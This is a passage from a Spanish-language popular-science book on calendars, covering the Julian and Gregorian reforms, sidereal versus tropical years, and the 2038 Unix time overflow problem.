complejos	 de	 lo	 que	 pueda	 parecer;	 da	 la	 impresión	 de	 que	 dividir	 con
antelación	el	año	en	días	no	es	 tan	fácil	y	existen	diferentes	soluciones	para
los	mismos	problemas.

El	universo	nos	ha	dado	solo	dos	unidades	con	las	que	medir	el	tiempo:	el
año	y	 el	 día.	Todo	 lo	demás	 es	 una	 creación	de	 la	 humanidad	para	 intentar
hacer	 la	 vida	 más	 fácil.	 Cuando	 el	 disco	 protoplanetario	 se	 congeló	 y	 se
separó	dando	lugar	a	 los	planetas	 tal	como	los	conocemos,	 la	Tierra	se	creó
con	una	cierta	cantidad	de	momento	angular,	que	la	mandó	volando	de	viaje
alrededor	 del	 Sol	 y	 girando	 a	 medida	 que	 avanza.	 La	 órbita	 en	 la	 que
acabamos	es	la	que	nos	dio	la	longitud	que	tiene	el	año	y	la	velocidad	del	giro
de	la	Tierra	nos	dio	la	longitud	del	día.

Excepto	que	no	encajan	a	la	perfección.	¡No	existe	ninguna	razón	por	la
que	 deberían!	 Se	 trata	 solo	 del	 lugar	 donde	 fueron	 a	 parar	 esos	 pedazos	 de
roca	desde	el	disco	protoplanetario,	hace	miles	de	millones	de	años.	La	órbita
de	un	año	de	duración	de	la	Tierra	alrededor	de	Sol	ahora	necesita	365	días,	6
horas,	 9	minutos	 y	 10	 segundos.	 Para	 simplificarlo,	 podemos	decir	 que	 son
365	días	y	un	cuarto	de	día.

Esto	significa	que,	si	celebramos	la	Nochevieja	después	de	un	año	de	365
días,	la	Tierra	todavía	tarda	un	cuarto	de	día	más	en	volver	al	punto	en	el	que
estábamos	 la	Nochevieja	pasada.	La	Tierra	 está	girando	alrededor	del	Sol	 a
una	velocidad	de	unos	30	kilómetros	por	segundo,	por	lo	que	esta	Nochevieja
estaremos	a	unos	650.000	kilómetros	de	distancia	de	donde	estábamos	el	año
pasado.	 Por	 lo	 tanto,	 si	 la	 promesa	 de	Año	Nuevo	 que	 hemos	 hecho	 es	 no
llegar	tarde	a	ningún	sitio,	ya	la	hemos	incumplido.

Esto	pasa	de	ser	una	inconveniencia	menor	a	ser	un	problema	importante
porque	 el	 periodo	orbital	 de	 la	Tierra	 controla	 las	 estaciones.	El	 verano	del
hemisferio	 norte	 se	 produce	 más	 o	 menos	 en	 el	 mismo	 punto	 de	 la	 órbita
terrestre	cada	año	porque	ese	es	el	lugar	donde	la	inclinación	de	la	Tierra	se
alinea	con	 la	posición	del	Sol.	Después	de	cada	año	de	365	días,	el	año	del
calendario	se	aleja	un	cuarto	de	día	de	las	estaciones.	Después	de	cuatro	años,
el	 verano	 empezaría	 un	 día	más	 tarde.	 En	menos	 de	 cuatrocientos	 años,	 un
espacio	 de	 tiempo	 que	 equivaldría	 a	 la	 duración	 de	 una	 civilización,	 las
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estaciones	se	habrían	desplazado	tres	meses.	Después	de	ochocientos	años,	el
verano	y	el	invierno	se	habrían	cambiado	de	lugar	el	uno	por	el	otro.

Para	solucionar	este	inconveniente,	tenemos	que	modificar	ligeramente	el
calendario	 para	 tener	 el	 mismo	 número	 de	 días	 que	 la	 órbita.	 De	 alguna
manera,	necesitábamos	dejar	de	tener	el	mismo	número	de	días	cada	año,	pero
sin	 tener	 que	 utilizar	 una	 fracción	 de	 día;	 la	 gente	 se	 enfadaría	 si	 su	 día
empezara	a	una	hora	que	no	fuera	la	medianoche.	Necesitábamos	vincular	un
año	con	la	órbita	terrestre	sin	romper	el	vínculo	entre	la	duración	de	un	día	y
la	rotación	de	la	Tierra.

La	 solución	 que	 la	 mayoría	 de	 las	 civilizaciones	 adoptó	 fue	 variar	 el
número	 de	 días	 en	 un	 año	 cualquiera	 para	 que,	 de	 esa	 manera,	 haya	 un
número	 fraccionario	 de	 días	 por	 año	 (como	 promedio).	 Pero	 no	 existe	 una
única	 forma	 de	 hacerlo,	 razón	 por	 la	 que	 todavía	 existen	 unos	 pocos
calendarios	 rivales	 en	 la	 actualidad	 (los	 cuales	 empiezan	 en	 momentos
diferentes	de	la	historia).	Si	en	algún	momento	usted	tiene	acceso	al	móvil	de
un	 amigo,	métase	 en	 los	 ajustes	 y	 cambie	 su	 calendario	 por	 el	 budista.	De
repente	estará	viviendo	en	la	década	de	2560.	Puede	intentar	convencerle	de
que	se	acaba	de	despertar	de	un	coma.

Nuestro	calendario	moderno	principal	proviene	del	calendario	republicano
romano.	Tenían	 solo	 355	 días,	 que	 eran	 bastantes	menos	 de	 los	 requeridos,
por	 lo	 que	 se	 insertó	 un	 mes	 entero	 entre	 febrero	 y	 marzo,	 añadiendo	 así
veintidós	o	veintitrés	días	al	año.	En	teoría,	este	ajuste	se	podría	utilizar	para
que	el	calendario	cuadrase	con	el	año	solar.	En	la	práctica,	era	asunto	de	los
políticos	 del	momento	 decidir	 qué	mes	 extra	 era	 el	 que	 había	 que	 insertar.
Dado	que	 esta	decisión	podía	 alargar	 su	 año	de	mandato	o	 acortar	 el	 de	un
oponente,	la	motivación	no	siempre	fue	que	el	calendario	cuadrase.

Rara	 vez	 un	 comité	 político	 es	 una	 buena	 solución	 para	 un	 problema
matemático.	Los	años	previos	al	46	a.	e.	c.	fueron	conocidos	como	los	«años
de	la	confusión»,	ya	que	se	añadían	y	quitaban	meses	extra	sin	tener	mucho
que	ver	con	el	momento	en	el	que	era	necesario	hacerlo.	Al	no	tener	noticias
de	los	cambios,	las	personas	que	viajaban	lejos	de	Roma	tendrían	que	adivinar
cuál	era	la	fecha	cuando	regresaban	a	casa.

En	 el	 año	 46	 a.	 e.	 c.,	 Julio	César	 decidió	 arreglar	 este	 embrollo	 con	 un
calendario	 nuevo	y	 previsible.	Cada	 año	 tendría	 365	días,	 el	 número	 entero
más	 cercano	 al	 valor	 verdadero,	 y	 los	 cuartos	 de	 día	 adicionales	 se
acumularían	y	se	sumarían	al	cuarto	año,	el	cual	pasaría	a	tener	un	único	día
añadido.	¡Había	nacido	el	año	bisiesto	con	un	día	extra!
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Para	 que	 todo	 volviese	 a	 cuadrar	 desde	 el	 principio,	 el	 año	 46	 a.	 e.	 c.
consiguió	 un	 récord	 mundial	 de	 445	 días.	 Además	 del	 mes	 añadido	 entre
febrero	y	marzo,	se	insertaron	dos	meses	más	entre	noviembre	y	diciembre.	Y
entonces,	 a	 partir	 del	 año	 45	 a.	 e.	 c.,	 se	 insertaron	 los	 años	 bisiestos	 cada
cuatro	años	para	mantener	el	calendario	sincronizado.

Bueno,	casi.	Hubo	un	error	administrativo	inicial,	ya	que	el	último	año	de
un	 periodo	 de	 cuatro	 años	 se	 contaba	 dos	 veces	 como	 el	 primer	 año	 del
siguiente	 periodo,	 por	 lo	 que	 los	 años	 bisiestos	 se	 estaban	 colocando
realmente	cada	 tres	 años.	Pero	este	 error	 fue	descubierto,	 arreglado	y,	 en	el
año	3	e.	c.,	todo	empezó	a	funcionar	como	era	debido.

La	audacia	del	papa

Pero	Julio	César	fue	traicionado,	aunque	mucho	tiempo	después	de	su	muerte,
por	la	diferencia	de	11	minutos	y	15	segundos	existente	entre	los	365,25	días
por	 año	 que	 su	 calendario	 ofrecía	 y	 el	 tiempo	 real	 existente	 entre	 las
estaciones,	que	era	de	365,242188792	días.	Una	desviación	de	once	minutos
por	 día	 no	 parece	 tan	 grave	 en	 un	 inicio;	 las	 estaciones	 se	 moverían
únicamente	un	día	cada	128	días.	Pero	después	de	más	o	menos	un	milenio
ese	 desvío	 se	 acumularía.	 Y	 la	 joven	 y	 advenediza	 religión	 cristiana	 había
fijado	 su	 celebración	 de	 la	 Pascua	 coordinándola	 con	 las	 estaciones	 y,	 a
comienzos	del	siglo	XVI,	existía	una	diferencia	de	diez	días	entre	la	fecha	y	el
inicio	real	de	la	primavera.

Y	ahora	un	dato	concreto.	Se	dice	con	mucha	frecuencia	que	los	años	del
calendario	 juliano	de	365,25	días	 eran	demasiado	 largos	 si	 los	 comparamos
con	la	órbita	de	la	Tierra.	¡Pero	eso	no	es	verdad!	La	Tierra	tarda	365	días,	6
horas,	9	minutos	y	10	segundos	en	completar	su	órbita:	solo	un	poquito	más
de	365,25	días.	El	calendario	juliano	es	demasiado	corto	en	comparación	con
la	órbita	terrestre.	Pero	es	demasiado	largo	en	comparación	con	las	estaciones.
Resulta	 curioso,	 pero	 las	 estaciones	 no	 encajan	 perfectamente	 con	 el	 año
orbital.

Ya	 hemos	 llegado	 al	 punto	 en	 el	 que	 hemos	 de	 hablar	 de	 la	 mecánica
orbital.	 A	 medida	 que	 la	 Tierra	 rota	 alrededor	 del	 Sol,	 la	 dirección	 de	 su
inclinación	 también	 cambia,	 pasando	de	 señalar	 directamente	hacia	 el	Sol	 a
hacerlo	 en	 dirección	 opuesta	 cada	 13.000	 años.	Un	 calendario	 que	 reflejase
perfectamente	 la	órbita	 terrestre	 seguiría	 intercambiando	 las	 estaciones	 cada
13.000	años.	Si	factorizamos	la	precesión	axial	de	la	Tierra	(el	cambio	en	su
inclinación)	en	su	órbita,	el	tiempo	entre	estaciones	es	de	365	días,	5	horas,	48
minutos	y	45,11	segundos.
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El	movimiento	de	 la	 inclinación	de	 la	Tierra	nos	da	20	minutos	y	24,43
segundos	extra	por	órbita.	Por	lo	tanto,	el	auténtico	año	sideral	(literalmente,
«de	las	estrellas»)	basado	en	la	órbita	es	más	largo	que	el	calendario	juliano,
pero	el	año	tropical	basado	en	las	estaciones	(que	es	el	que	nos	preocupa	en	la
actualidad)	 es	 más	 corto.	 Y	 lo	 es	 porque	 las	 estaciones	 dependen	 de	 la
inclinación	de	la	Tierra	respecto	al	Sol,	no	de	la	posición	real	de	la	Tierra.	El
lector	 tiene	 mi	 permiso	 para	 fotocopiar	 esta	 parte	 del	 libro	 y	 pasársela	 a
cualquiera	 que	 se	 rija	 por	 el	 tipo	 de	 año	 erróneo.	 Podría	 sugerirle	 que	 su
propósito	de	Año	Nuevo	sea	comprender	qué	significa	 realmente	el	 término
«nuevo	año».

Año	sideral
31.558.150	segundos	=	365,2563657	días
365	días,	6	horas,	9	minutos,	10	segundos

Año	tropical
31.556.925	segundos	=	365,2421875	días
365	días,	5	horas,	48	minutos,	45	segundos

Este	ligero	desajuste	entre	el	año	juliano	y	el	tropical	pasó	tan	inadvertido
que,	en	el	año	1500	e.	c.,	la	inmensa	mayoría	de	los	países	de	Europa	y	partes
de	 África	 estaban	 utilizando	 el	 calendario	 juliano.	 Pero	 la	 Iglesia	 católica
estaba	harta	de	que	la	muerte	de	Jesús	(que	se	celebraba	según	las	estaciones)
se	distanciara	de	su	nacimiento	(el	cual	se	celebraba	un	día	señalado).	El	papa
Gregorio	XIII	decidió	que	se	tenía	que	hacer	algo.	Todo	el	mundo	tendría	que
adaptarse	 a	 un	nuevo	 calendario.	Afortunadamente,	 si	 hay	 algo	que	 el	 papa
puede	 hacer,	 es	 convencer	 a	 un	 montón	 de	 gente	 para	 que	 cambie	 su
comportamiento	por	razones	aparentemente	arbitrarias.

Lo	 que	 ahora	 conocemos	 como	 calendario	 gregoriano	 no	 fue	 diseñado
realmente	 por	 el	 papa	 Gregorio	 (estaba	 demasiado	 ocupado	 haciendo	 las
cosas	 que	 hacen	 los	 papas	 y	 tratando	 de	 convencer	 a	 la	 gente	 para	 que
cambiase	su	comportamiento),	sino	por	el	médico	y	astrónomo	italiano	Luis
Lilio.	 Lamentablemente,	 Lilio	 murió	 en	 1576,	 dos	 años	 antes	 de	 que	 la
comisión	 encargada	 de	 reformar	 el	 calendario	 presentara	 el	 que	 él	 había
diseñado	(ligeramente	modificado).	En	1582,	gracias	al	pequeño	 impulso	en
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forma	 de	 amenaza	 que	 supuso	 una	 bula	 papal,	 una	 parte	 importante	 del
mundo	se	pasó	al	sistema	del	nuevo	calendario	ese	mismo	año.

El	avance	del	calendario	de	Lilio	fue	mantener	el	año	bisiesto	cada	cuatro
años	 que	 ya	 estaba	 en	 el	 calendario	 juliano,	 pero	 eliminó	 tres	 de	 esos	 días
bisiestos	cada	cuatrocientos	años.	Los	años	bisiestos	eran	todos	los	años	que
eran	divisibles	por	cuatro,	y	lo	que	sugirió	Lilio	fue	eliminar	los	días	añadidos
de	los	años	que	también	fueran	múltiplos	de	100	(además	de	esos	que	también
eran	 múltiplos	 de	 400).	 Eso	 da	 un	 promedio	 de	 365,2425	 días	 por	 año;
extraordinariamente	cerca	del	deseado	año	tropical	de	unos	365,2422	días.

A	pesar	de	que	es	un	calendario	mucho	mejor	matemáticamente,	dado	que
este	nuevo	sistema	nació	como	consecuencia	de	las	vacaciones	católicas	y	fue
promulgado	por	el	papa,	los	países	anticatólicos	eran	a	su	vez	anticalendario
gregoriano.	Inglaterra	(y,	por	extensión	en	esa	época,	Norteamérica)	se	aferró
al	 antiguo	 calendario	 juliano	 durante	 otro	 siglo	 y	medio,	 tiempo	 durante	 el
cual	su	calendario	no	solo	se	alejó	otro	día	de	las	estaciones,	sino	que	también
era	diferente	al	utilizado	en	la	mayor	parte	de	Europa.

Este	problema	se	agravó	aún	más	porque	el	calendario	gregoriano	tuvo	un
efecto	 retroactivo,	 recalibrando	 el	 año	 como	 si	 siempre	 se	 hubiera	 estado
utilizando	 (en	 lugar	de	 la	opción	del	 juliano).	Gracias	 al	 poder	del	 papa,	 se
decretó	 que	 se	 eliminarían	 diez	 días	 del	mes	 de	 octubre	 de	 1582	 y,	 por	 lo
tanto,	 en	 los	 países	 católicos,	 al	 4	 de	 octubre	 de	 1582	 le	 siguió
inmediatamente	el	15	de	octubre.	Todo	esto	hace	que,	por	supuesto,	los	datos
históricos	sean	un	poco	confusos.	Cuando	las	tropas	inglesas	desembarcaron
en	la	isla	de	Ré	el	12	de	julio	de	1627	como	parte	de	la	guerra	anglo-francesa,
el	ejército	francés	estaba	preparado	para	repeler	el	ataque,	pero	era	el	22	de
julio.	Eso	ocurrió	el	mismo	día.	Al	menos,	para	ambos	ejércitos,	era	jueves.

Sin	 embargo,	 dado	 que	 el	 calendario	 gregoriano	 se	 aceptó	 más	 por
conveniencia	 con	 las	 estaciones	 y	menos	 porque	 el	 papa	 lo	 ordenaba,	 otros
países	fueron	adoptándolo	gradualmente.	Una	ley	del	Parlamento	británico	de
1750	señala	que	no	solo	 las	 fechas	de	 Inglaterra	difieren	de	 las	del	 resto	de
Europa,	 sino	 que	 también	 difieren	 de	 las	 de	 Escocia.	 Por	 lo	 que	 Inglaterra
cambió,	pero	sin	ninguna	mención	directa	al	papa;	simplemente	se	refirieron
de	forma	indirecta	a	«un	método	para	corregir	el	calendario».

Inglaterra	 (que	 por	 entonces	 aún	 incluía	 algunas	 —pocas—	 partes	 de
Norteamérica)	 cambió	 de	 calendario	 en	 1752,	 reajustando	 sus	 fechas
eliminando	once	días	de	septiembre.	De	ese	modo,	al	2	de	septiembre	de	1752
le	siguió	el	14	de	septiembre	de	1752.	A	pesar	de	lo	que	el	lector	pueda	leer
en	internet,	nadie	se	quejó	por	haber	perdido	once	días	de	sus	vidas	y	nadie	se
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paseó	con	una	pancarta	que	dijera:	«Devolvednos	nuestros	once	días».	Estoy
seguro	de	una	cosa:	visité	la	Biblioteca	Británica	en	Londres,	la	cual	alberga
una	copia	de	cada	periódico	publicado	en	Inglaterra,	y	busqué	artículos	de	la
época.	No	aparecía	en	ellos	queja	alguna,	solo	anuncios	en	los	que	se	vendían
calendarios	nuevos.	Los	fabricantes	de	calendarios	estaban	viviendo	su	época
dorada.

El	mito	 de	 que	 la	 gente	 protestó	 contra	 el	 cambio	 de	 calendario	 parece
proceder	de	debates	políticos	antes	de	las	elecciones	de	1754.	El	partido	de	la
oposición	atacó	todas	las	medidas	que	había	adoptado	el	otro	partido	durante
su	 mandato,	 incluyendo	 el	 cambio	 de	 calendario	 y	 el	 hecho	 de	 haberles
robado	 once	 días.	 Este	 suceso	 fue	 inmortalizado	 en	La	 campaña	 electoral,
una	 serie	 de	 pinturas	 al	 óleo	 de	 William	 Hogarth.	 Los	 únicos	 que
manifestaron	alguna	preocupación	fueron	personas	que	no	querían	pagar	unos
impuestos	anuales	para	un	año	de	365	días	que	en	realidad	tuvo	menos.	Una
queja	legítima,	sin	duda.

Rusia	 no	 cambió	 de	 calendario	 hasta	 1918,	 año	 cuyo	 mes	 de	 febrero
empezó	el	día	14	en	lugar	del	1	para	así	reajustarse	con	todos	los	demás	que
utilizaban	el	calendario	gregoriano.	Este	hecho	debió	de	pillar	a	más	de	uno
por	sorpresa.	Imagine	que	se	despierta	pensando	que	le	quedan	dos	semanas
para	San	Valentín	y	resulta	que	ese	día	ya	ha	llegado.	Este	nuevo	calendario
significa	que	los	rusos	habrían	llegado	a	tiempo	a	las	Olimpiadas	de	1920,	si
hubieran	 sido	 invitados,	 pero	 en	 ese	 espacio	 de	 tiempo,	 Rusia	 se	 había
convertido	en	la	Rusia	Soviética	y	no	fue	invitada	por	razones	políticas.	A	los
siguientes	 Juegos	 Olímpicos	 sí	 que	 acudieron	 los	 deportistas	 rusos.	 Se
celebraron	en	1952	en	Helsinki,	donde	por	 fin	consiguieron	una	medalla	de
oro	en	tiro.

A	pesar	de	todas	estas	mejoras,	nuestro	calendario	gregoriano	actual	sigue
sin	ser	perfecto.	Una	media	de	365,2425	días	por	año	es	aceptable,	pero	no	es
exactamente	 365,2421875.	 Seguimos	 desincronizados	 veintisiete	 segundos
por	 año.	 Esto	 significa	 que	 nuestro	 calendario	 gregoriano	 actual	 se	 habrá
alejado	un	día	 entero	 cada	3.213	años.	Las	 estaciones	 aún	 se	 invertirán	una
vez	 cada	 medio	 millón	 de	 años.	 Y	 el	 lector	 se	 alarmará	 al	 saber	 que…
¡todavía	no	existe	ningún	plan	para	arreglar	este	desvío!

De	hecho,	con	escalas	de	tiempo	tan	largas,	 tenemos	otros	problemas	de
los	 que	 preocuparnos.	 A	 medida	 que	 el	 eje	 de	 rotación	 de	 la	 Tierra	 se	 va
moviendo,	 la	 trayectoria	 orbital	 de	 la	 Tierra	 también	 se	 modifica.	 La
trayectoria	que	sigue	es	una	elipse,	y	los	puntos	más	cercano	y	lejano	dan	una
vuelta	 alrededor	 del	 sistema	 solar	 aproximadamente	 una	 vez	 cada	 112.000
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años.	 Pero,	 incluso	 entonces,	 el	 tirón	 gravitacional	 de	 otros	 planetas	 puede
cambiarlo.	El	sistema	solar	es	un	auténtico	lío.

Pero	 la	astronomía	 le	dio	a	Julio	César	una	última	alegría.	La	unidad	de
año	 luz,	 es	decir,	 la	distancia	que	 recorre	 la	 luz	 en	un	año	 (en	el	vacío),	 se
especifica	utilizando	el	año	juliano	de	365,25	días.	Por	lo	que	se	puede	decir
que	medimos	nuestro	cosmos	actual	utilizando	una	unidad	definida	en	parte
por	un	antiguo	romano.

El	día	en	el	que	el	tiempo	se	detendrá

A	 las	 3.14	 h	 del	 martes	 19	 de	 enero	 de	 2038,	 una	 gran	 parte	 de	 nuestros
modernos	microprocesadores	y	ordenadores	dejará	de	 funcionar.	Y	eso	 será
debido	al	modo	en	el	que	almacenan	el	 tiempo	y	 la	 fecha.	Los	ordenadores
personales	ya	tienen	bastantes	problemas	haciendo	un	seguimiento	de	cuántos
segundos	han	pasado	mientras	están	encendidos;	 las	cosas	empeoran	cuando
también	necesitan	mantenerse	al	día	con	la	fecha.	El	control	del	tiempo	les	ha
supuesto	 a	 los	 ordenadores	 los	 mismos	 problemas	 que	 suponía	 mantener
sincronizado	un	calendario	con	el	planeta,	con	el	añadido	de	las	limitaciones
modernas	de	la	codificación	binaria.

Cuando	los	primeros	precursores	del	internet	moderno	empezaron	a	estar
disponibles	a	principios	de	 la	década	de	1970,	era	necesario	disponer	de	un
sistema	de	control	del	tiempo	que	fuera	consistente.	El	Instituto	de	Ingeniería
Eléctrica	y	Electrónica	creó	un	comité	de	especialistas	y,	en	1971,	sugirieron
que	 todos	 los	 sistemas	 informáticos	 podrían	 contar	 las	 fracciones
sexagesimales	de	un	segundo	a	partir	del	inicio	de	1971.	La	energía	eléctrica
que	alimentaba	a	los	ordenadores	ya	llegaba	a	una	frecuencia	de	60	hercios,
por	 lo	 que	 se	 simplificaban	 las	 cosas	 al	 utilizar	 esta	 frecuencia	 dentro	 del
sistema.	 Muy	 astutos.	 Excepto	 que	 un	 sistema	 basado	 en	 60	 hercios
sobrepasaría	el	espacio	disponible	en	un	número	binario	de	32	dígitos	en	poco
más	de	dos	años	y	tres	meses.	Ya	no	parece	una	medida	tan	inteligente.

Por	 lo	 que	 el	 sistema	 se	 recalibró	 para	 contar	 el	 número	 de	 segundos
enteros	 desde	 el	 inicio	 de	 1970.	 Este	 número	 se	 almacenó	 como	 número
binario	 signado	de	32	dígitos,	 lo	que	permitía	un	máximo	de	2.147.483.647
segundos:	 un	 total	 de	más	 de	 sesenta	 y	 ocho	 años	 contando	 desde	 1970.	Y
esto	lo	decidieron	así	miembros	de	la	generación	que	en	esos	sesenta	y	ocho
años	previos	a	1970	habían	visto	a	la	humanidad	avanzar	desde	la	invención
de	 la	 primera	 aeronave	 propulsada	 de	 los	 hermanos	 Wright	 a	 humanos
bailando	sobre	la	superficie	de	la	Luna.	Estaban	convencidos	de	que	en	el	año
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2038	 los	 ordenadores	 no	 se	 parecerían	 en	 nada	 a	 los	 de	 su	 época	 y	 ya	 no
utilizarían	el	tiempo	Unix.

Y,	 sin	 embargo,	 aquí	 estamos.	Hemos	 recorrido	más	de	 la	mitad	de	 ese
camino	 y	 seguimos	 con	 el	 mismo	 sistema.	 El	 reloj	 está	 haciendo	 tictac
(literalmente).

Sin	duda,	los	ordenadores	han	cambiado	tanto	que	no	se	parecen	en	nada	a
los	de	esa	época,	pero	en	sus	entrañas	se	sigue	utilizando	el	tiempo	Unix.	Si	el
lector	 está	utilizando	cualquier	variante	de	dispositivo	Linux	o	un	Mac,	 allí
está,	 en	 la	mitad	 inferior	 del	 sistema	 operativo,	 justo	 debajo	 de	 la	GUI.	 Si
tiene	un	Mac	a	 su	 alcance,	 abra	 la	 aplicación	Terminal,	 que	 es	 el	 acceso	 al
funcionamiento	real	de	su	ordenador.	Escriba	date	+%s	y	pulse	 intro.	Justo
enfrente	de	usted	aparece	el	número	de	segundos	que	han	pasado	desde	el	1
de	enero	de	1970.

Si	está	 leyendo	esto	antes	del	miércoles	18	de	mayo	de	2033,	aún	no	ha
llegado	a	los	2	millardos	de	segundos.	Menuda	fiesta	será.	Por	desgracia,	en
mi	zona	horaria,	serán	más	o	menos	las	4.30	h.	Recuerdo	la	noche	de	juerga
que	pasé	el	13	de	febrero	de	2009	junto	a	algunos	compañeros,	para	celebrar
que	habíamos	llegado	al	segundo	1.234.567.890,	justo	después	de	las	23.31	h.
Jon,	mi	amigo	programador,	había	escrito	un	programa	que	nos	daba	la	cuenta
atrás	 exacta;	 todos	 los	 demás	 clientes	 del	 bar	 estaban	 muy	 confundidos	 al
pensar	 que	 estábamos	 celebrando	 el	 día	 de	 San	Valentín	 una	 hora	 y	media
antes	de	lo	que	tocaba.

Celebraciones	 aparte,	 ahora	 hemos	 sobrepasado	 de	 sobra	 la	mitad	 de	 la
cuenta	 atrás	 que	 nos	 conducirá	 a	 la	 destrucción.	Después	 de	 2.147.483.647
segundos,	todo	se	detendrá.	Microsoft	Windows	tiene	su	propio	sistema	para
controlar	el	 tiempo,	pero	MacOS	está	desarrollado	directamente	sobre	Unix.
Y	más	importante	aún,	muchos	procesadores	informáticos	importantes	que	se
utilizan	 en	 un	 montón	 de	 dispositivos,	 desde	 servidores	 de	 internet	 hasta
lavadoras,	 están	 funcionando	 utilizando	 algún	 descendiente	 de	 Unix.	 Son
vulnerables	al	efecto	2038.

No	culpo	a	las	personas	que	pusieron	en	marcha	el	tiempo	Unix.	Estaban
trabajando	 con	 aquello	 que	 tenían	 a	 su	 disposición	 en	 aquella	 época.	 Los
ingenieros	 de	 la	 década	de	 1970	pensaron	que	 los	 que	 vendrían	 después	 de
ellos	arreglarían	los	problemas	que	ellos	estaban	causando	(típico	de	los	baby-
boomers).	 Y,	 para	 ser	 justos,	 sesenta	 y	 ocho	 años	 son	 muchos	 años.	 La
primera	 edición	 de	 este	 libro	 se	 publicó	 en	 2019,	 y	 en	 algunos	 momentos
pienso	que	he	de	mencionarlo	para	aquellos	que	 lo	 lean	en	el	 futuro.	Puede
que	 incluya	 frases	 como	 «en	 el	 momento	 en	 el	 que	 escribo	 esto»	 o	 que
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estructure	cuidadosamente	el	lenguaje	para	que	este	deje	abierta	la	posibilidad
de	 que	 las	 cosas	 cambien	 y	 progresen	 en	 el	 futuro	 para	 que	 así	 el	 libro	 no
quede	completamente	desfasado.	Puede	que	usted	esté	 leyendo	esto	después
de	alcanzar	los	2	millardos	de	segundos	en	el	año	2033;	lo	tengo	en	cuenta.

Ya	 se	 han	 dado	 algunos	 pasos	 para	 encontrar	 una	 solución.	 Todos	 los
procesadores	que	utilizan	números	binarios	de	32	dígitos	 son	conocidos	por
defecto	 como	 sistemas	 de	 32	 bits.	 Cuando	 alguien	 se	 compra	 un	 portátil,
puede	que	se	pare	a	comprobar	cuál	es	su	arquitectura,	pero	 los	Mac	 llevan
utilizando	un	sistema	de	64	bits	desde	hace	casi	una	década	y	la	mayoría	de
los	servidores	informáticos	también	se	han	pasado	a	64	bits.	Resulta	molesto
que	algunos	sistemas	de	64	bits	sigan	controlando	el	tiempo	como	un	número
signado	 de	 32	 bits,	 por	 lo	 que	 todavía	 pueden	 jugar	 con	 sus	 amigos
ordenadores	 antiguos,	 pero,	 en	 la	 mayoría	 de	 los	 casos,	 si	 compramos	 un
sistema	de	64	bits	será	capaz	de	controlar	el	paso	del	tiempo	durante	bastante
más	tiempo.

El	valor	más	grande	que	podemos	almacenar	en	un	número	signado	de	64
bits	 es	 9.223.372.036.854.775.807,	 y	 ese	 número	 de	 segundos	 equivale	 a
292,3	millardos	de	años.	Es	en	momentos	como	este	que	la	edad	del	universo
pasa	 a	 ser	 una	 unidad	 de	medida	 útil:	 el	 tiempo	Unix	 de	 64	 bits	 durará	 21
veces	 la	edad	actual	del	universo	desde	ahora.	Hasta,	y	 suponiendo	que	por
entonces	 no	 utilicemos	 otra	 actualización,	 el	 4	 de	 diciembre	 del	 año
292277026596	 e.	 c.	 todos	 los	 ordenadores	 dejarán	 de	 funcionar.	 Será	 un
domingo.

Una	 vez	 que	 vivamos	 en	 un	mundo	 que	 sea	 completamente	 de	 64	 bits,
podremos	 decir	 que	 estamos	 a	 salvo.	 La	 pregunta	 es:	 ¿actualizaremos	 la
infinidad	 de	microprocesadores	 presentes	 en	 nuestras	 vidas	 antes	 del	 2038?
Necesitamos,	o	nuevos	procesadores	o	un	parche	que	fuerce	a	los	antiguos	a
utilizar	un	número	inusualmente	grande	para	almacenar	el	tiempo.

Esta	 es	 una	 lista	 de	 todos	 los	 aparatos	 a	 los	 que	 les	 he	 tenido	 que
actualizar	su	software	recientemente:	lámparas,	un	televisor,	el	termostato	de
mi	 casa	 y	 el	 reproductor	 multimedia	 que	 se	 enchufa	 a	 mi	 televisor.	 Estoy
bastante	seguro	de	que	todos	ellos	son	sistemas	de	32	bits.	¿Se	actualizarán	a
tiempo?	Dada	mi	obsesión	con	 tener	el	 firmware	al	día,	 seguro	que	sí.	Pero
habrá	 un	 montón	 de	 sistemas	 que	 no	 se	 actualizarán.	 También	 hay
procesadores	en	mi	lavadora,	lavaplatos	y	en	el	coche,	y	no	tengo	ni	idea	de
cómo	actualizarlos.

Es	 fácil	 hablar	 de	 esto	 como	 si	 se	 tratase	 de	 una	 segunda	 llegada	 del
efecto	2000,	el	efecto	del	milenio	que	nunca	llegó	a	ocurrir.	Ese	era	un	caso
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de	software	de	más	alto	nivel	que	almacenaba	el	año	como	un	número	de	dos
dígitos	que	dejaría	de	funcionar	después	de	llegar	a	99.	Gracia	al	esfuerzo	de
mucha	gente,	prácticamente	 todos	 los	dispositivos	 fueron	actualizados.	Pero
el	hecho	de	haber	evitado	un	desastre	no	significa	que	este	no	haya	sido	una
seria	 amenaza.	Es	un	 riesgo	bajar	 los	brazos	porque	 el	 efecto	2000	 se	haya
llevado	 tan	 bien.	 El	 efecto	 2038	 requerirá	 actualizar	 códigos	 informáticos
mucho	más	fundamentales	y,	en	algunos	casos,	los	propios	ordenadores.

Véalo	usted	mismo
Si	quiere	ver	cómo	funciona	el	efecto	2038,	busque	un	 iPhone.	Puede	que	 lo	que
voy	a	explicar	funcione	en	otros	móviles,	o	puede	que	un	día	actualicen	el	iPhone
para	 arreglar	 este	 problema.	 Pero,	 de	 momento,	 el	 cronómetro	 incorporado
aprovecha	el	reloj	interno	y	guarda	su	valor	como	un	número	signado	de	32	bits.	La
dependencia	 del	 reloj	 provoca	 que,	 si	 pone	 el	 cronómetro	 en	 marcha	 y	 luego
modifica	 la	 hora	 hacia	 atrás,	 el	 tiempo	 transcurrido	 en	 el	 cronómetro	 saltará
súbitamente	 hacia	 delante.	Modificando	 la	 hora	 y	 la	 fecha	 adelante	 y	 atrás	 en	 su
teléfono,	usted	puede	incrementar	el	 tiempo	del	cronómetro	a	un	ritmo	alarmante.
Hasta	que	alcance	el	límite	de	64	bits	y	se	cuelgue.

Fechas	y	F-22

¿Cuán	difícil	puede	resultar	saber	qué	fecha	es	hoy?	¿O	será?	Puedo	afirmar
con	seguridad	que	el	tiempo	Unix	de	64	bits	funcionará	el	4	de	diciembre	del	
292.277.026.596	e.	c.	porque	el	calendario	gregoriano	es	muy	predecible.	A
corto	plazo,	es	muy	fácil	y	cubre	un	ciclo	cada	pocos	años.	Permitiendo	 los
dos	tipos	de	años	(bisiesto	y	normal)	y	los	siete	días	posibles	en	los	que	puede
empezar	un	año,	existen	 tan	solo	catorce	calendarios	posibles.	Cuando	 fui	a
comprar	 un	 calendario	 de	 2019	 (año	 no	 bisiesto	 que	 comienza	 en	 martes),
sabía	que	era	el	mismo	que	el	del	año	2013,	por	lo	que	podía	comprar	uno	de
